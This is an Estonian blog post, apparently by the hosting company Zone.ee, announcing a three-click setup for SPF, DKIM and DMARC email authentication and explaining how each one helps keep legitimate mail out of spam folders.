tookindel_epost_wHiljuti karmistas Google kogemata paariks tunniks oma e-posti teenuse GMail reegleid ja näitas maailmale, kuidas e-posti legitiimsuse kontrolli tõsiselt suhtutakse. Tulemuseks oli kuni 50% sisenevate kirjade blokeerimine väikettevõtetelt, kuna nende kirjade autentsuses ei olnud võimalik veenduda.

Väljakutse vastu võetud! Täna lihtsustasime kolme tehnoloogia kasutuselevõttu, mis aitavad e-posti juhuslikku rämpspostiks märkimist vältida.

Võitlus müra- ja rämpspostivabama interneti nimel nõuab aina enam ohvreid ausate infoedastajate hulgast. Mida tihedamaks muutuvad rämpsposti püüdmisel võrgusilmad, seda rohkem jääb nendesse kinni olulisi kirju, ausaid pakkumisi ja väärtuslikke uudiskirju. Võin vaid oletada, kui palju jääb tänu e-kirjade väärklassifitseerimisele ettevõtetel tulu saamata.

TL;DR – selleks, et e-kirjad prügikasti ei potsataks, tuleb vajutada kolme nuppu, video postituse lõpus. Kui nupud vajutatud, siis loe edasi: Kuidas kontrollida väljuva e-posti SPF+DKIM+DMARC toimimist?

SPF

SPF ehk Sender Policy Framework pakub domeeni omanikule võimalust spetsiaalselt vormindatud DNS kirje abil seadistada milliste serverite või andmesidevõrkude kaudu tema domeenist kirju välja saadetakse. Ühtlasi laseb see määrata, kuidas kirju käitlevad serverid peaks suhtuma tundmatust allikast pärit kirjadesse.

DKIM

Krüptograafilise kinnituse e-kirja pärituolu kohta annab tehnoloogia nimega DKIM ehk DomainKeys Identified Mail. DKIM põhineb avaliku võtme krüptol. Domeeni omaniku käsutuses on võtmepaar, mille avalik osa avaldatakse DNS kirjena ja privaatse osaga allkirjastatakse kõik domeenist väljuvad e-kirjad.

DKIM annab vastuvõtjale SPF-ist veelgi täielikuma kindluse kirja saatja seose kohta kasutatud domeeniga. Ühtlasi moodustatakse kirja mitmete komponentide alusel digitempel, mille kontrollimine aitab kirja saajal veenduda selles, et saadetud kirja pole teekonnal muudetud.

Mis seejuures kõige meeldivam, kirjade digitaalne signeerimine võib täielikult toimuda serveris. DKIM on seetõttu kasutaja seisukohast lihtsalt kasutusele võetav, kuna ei nõua tööjaamas lisatarkvara või erilist e-posti kliendi häälestust.

DMARC

DMARC ehk Domain-based Message Authentication Reporting and Conformance põimib SPF ja DKIM tehnoloogia ühtseks e-posti aadresside võltsimist välistavaks poliitikaks.

DMARC poliitikaga saab e-posti vastuvõtja serverile teada anda, et SPF ja/või DKIM kontrollide ebaõnnestumisel tuleb valida üks järgmistest tegevustest:

  • e-kiri panna karantiini (rämpsposti postkasti);
  • e-kiri tagasi lükata;
  • e-kiri läbi lasta, kuid saata selliste kirjade kohta domeeni haldajale raport.

SPF + DKIM + DMARC ja Zone.ee

Ülalnimetatud tehnoloogiate juurutamine on varasemalt nii meil kui ka mujal olnud eelkõige edasijõudnu tasandil tehniliste oskustega inimeste või organisatsioonide päralt.

Nüüd oleme Zones toonud nende kasutuselevõtu tavakasutaja käeulatuses. Valmistasime “Minu Zone” keskkonda loonud lihtsa kasutajaliidese, mis võimaldab Zone serveriteenuse kasutajal efektiivse e-posti turvapoliitika jõustada vaid kolme klikiga.

Eelpoolmainitud tehnoloogiate aktiveerimisel lisatakse kliendi DNS tsooni SPF kirjed, mis teatavad maailmale, et Zone võrgust tulnud kirju võib usaldada rohkem, kui mujalt saabunuid. Ühtlasi luuakse kliendile krüptograafiline DKIM võti, millega allkirjastatakse kõik Zone serveritest lähtuvad kirjad.

Kui nii SPF kui ka DKIM on aktiveeritud, siis jõustatakse ka DMARC poliitika, mis teatab maailmale, et kirjad mis ei vasta SPF-is ja DKIM-is kirjeldatule, tuleks panna karantiini, ehk rämpsposti hulka.

Kui SPF ja DKIM on sisse lülitatud, siis loe edasi: Kuidas kontrollida väljuva e-posti SPF+DKIM+DMARC toimimist?

Ainus mille eest klient peab hoolt kandma, on see et ta tulevikus saadakski reaalselt oma kirjad välja just Zone serverite kaudu.

Loodan väga, et loodud võimalus aitab meie klientidel oluliselt maandada legitiimsete kirjade rämpsuks klassifitseerimise riski ja aitab neil nii konkurentsivõimelisemaks ja edukamaks saada.

P.S. See launch oli meil plaanitud järgmisesse nädalasse, aga seoses teema aktuaalsusega (eilne Gmaili intsident), kulutasime hilisõhtuseid töötunde, et asi kiiremini üles saaks.